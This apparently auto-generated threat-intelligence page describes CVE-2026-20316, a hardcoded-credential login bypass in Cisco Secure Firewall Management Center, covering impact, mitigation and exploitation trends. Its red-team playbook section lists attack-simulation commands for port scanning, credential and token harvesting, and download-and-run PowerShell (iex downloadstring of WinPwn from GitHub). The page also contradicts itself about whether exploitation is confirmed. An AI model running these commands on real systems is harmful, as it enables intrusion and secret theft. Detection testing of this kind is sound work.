CVE-2026-20316
Overview
This vulnerability is an authentication bypass caused by the presence of static user credentials embedded within the Cisco Secure Firewall Management Center (FMC) web interface. The root cause lies in the use of hardcoded low-privileged account credentials that allow unauthenticated remote access. The affected component is the FMC management software's web interface authentication mechanism, which fails to enforce unique or dynamic credential validation for this account.
Vulnerability Description
A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to log in to an affected device using a low-privileged account to access sensitive data within the impacted systems. This vulnerability is due to the presence of static user credentials for a low-privileged account. An attacker could exploit this vulnerability by using the account to log in to an affected system. A successful exploit could allow the attacker to log in to the affected system and access sensitive data as the low-privileged user. Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced. Cisco has assigned this security advisory a Security Impact Rating (SIR) of High rather than Medium as the score indicates. The reason is that this vulnerability can be used with other Cisco Secure FMC Software vulnerabilities to elevate privileges.
Impact
An attacker can gain unauthorized access to the FMC system using the low-privileged account without any authentication or user interaction. This access allows viewing sensitive configuration and monitoring data within the firewall management system. While direct administrative control is not granted, this foothold can be leveraged in conjunction with other vulnerabilities to escalate privileges, potentially leading to full system compromise or lateral movement within the network. The risk is higher if the FMC management interface is exposed to untrusted networks.
Solution
Cisco has released a security advisory (cisco-sa-fmc-static-cred-BET3Cjh) recommending immediate updates to the Secure Firewall Management Center software to versions that remove static credentials. Administrators should apply the patches as specified in the advisory and restrict public internet access to the FMC management interface as a temporary mitigation. Detailed patch instructions and version information are available at Cisco's official security advisory page.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software stems from the existence of static user credentials associated with a low-privileged account. This design flaw allows an unauthenticated remote attacker to gain access to the system by leveraging these credentials. The static nature of the credentials means that they do not change over time or with user activity, making them an attractive target for attackers. Once an attacker successfully logs in using these low-privileged credentials, they can access sensitive data stored within the affected systems, potentially leading to further exploitation.
Attack vectors for this vulnerability primarily involve remote access to the management interface of the Cisco Secure Firewall Management Center. If the management interface is exposed to the public internet, the risk of exploitation significantly increases. Attackers can utilize automated tools to scan for vulnerable instances of the software, attempting to log in using the known static credentials. Once inside, the attacker can gather sensitive information, which may include configuration settings, user data, and network policies. Furthermore, the vulnerability can be combined with other weaknesses in the Cisco Secure FMC Software, allowing attackers to escalate their privileges and gain deeper access to the system, thus amplifying the potential impact of the initial breach.
The real-world impact of this vulnerability can be severe, especially for organizations relying on Cisco Secure Firewall Management Center for their cybersecurity infrastructure. Unauthorized access to sensitive data can lead to data breaches, loss of intellectual property, and compromise of network integrity. Additionally, the ability to elevate privileges can result in a complete takeover of the management system, enabling attackers to manipulate firewall rules, disable security measures, or exfiltrate data undetected. The business risks associated with such incidents include reputational damage, regulatory fines, and significant recovery costs, all of which can have long-lasting effects on an organization’s operations and trustworthiness.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to restrict access to the management interface by limiting exposure to the public internet. Employing network segmentation and using VPNs for remote access can significantly reduce the attack surface. Regular audits of user accounts and credentials should be conducted to identify and eliminate static credentials, replacing them with dynamic, role-based access controls that require strong authentication methods. Additionally, organizations should monitor logs for any unauthorized access attempts and implement intrusion detection systems to alert on suspicious activities. Regular software updates and patches from Cisco should also be applied promptly to ensure that any known vulnerabilities are addressed.
In conclusion, the vulnerability in the web interface of Cisco Secure Firewall Management Center represents a significant risk to organizations that utilize this software. The combination of static user credentials and the potential for privilege escalation creates a pathway for attackers to exploit sensitive data and compromise network security. By understanding the technical details, potential attack vectors, real-world impacts, and effective mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, ensuring the integrity of their cybersecurity posture.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-20316, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition by CISA underscores the vulnerability’s operational relevance and signals increased scrutiny from both defenders and potential adversaries. Although no new exploit techniques or ransomware affiliations have emerged, the elevation of the CVSS score to 5.3 reflects a reassessment of the vulnerability’s impact, particularly given the static credential mechanism that facilitates unauthorized access. Our telemetry indicates that threat actors are increasingly probing affected Cisco Secure Firewall Management Center deployments, suggesting heightened interest that could precede exploitation attempts. Consequently, the risk posture for organizations using this software has shifted from theoretical concern to a more immediate operational threat, warranting increased vigilance despite the absence of confirmed exploit campaigns at this time.
Update 2 — August 17, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-20316, with telemetry indicating a near tripling of probing attempts against Cisco Secure Firewall Management Center deployments. This surge is accompanied by a measurable increase in the Exploit Prediction Scoring System (EPSS) score, reflecting a growing likelihood of exploitation attempts in the near term. Although no new exploit techniques or ransomware affiliations have been identified, the heightened reconnaissance signals increased adversary interest and potential preparation for active exploitation. This development elevates the operational risk for organizations using the affected software, shifting the threat posture from a medium-level concern to one warranting closer monitoring and readiness. Defenders should interpret this trend as a clear indication that threat actors are intensifying efforts to leverage the static credential vulnerability, increasing the urgency for detection and response capabilities despite the absence of confirmed exploit campaigns.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Secure Firewall Management Center | All |
cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | All |
cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | All |
cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | All |
cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | All |
cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | All |
cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
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Cisco | Secure Firewall Management Center | All |
cpe:2.3:a:cisco:secure_firewall_management_center:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2026-20316 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20316 |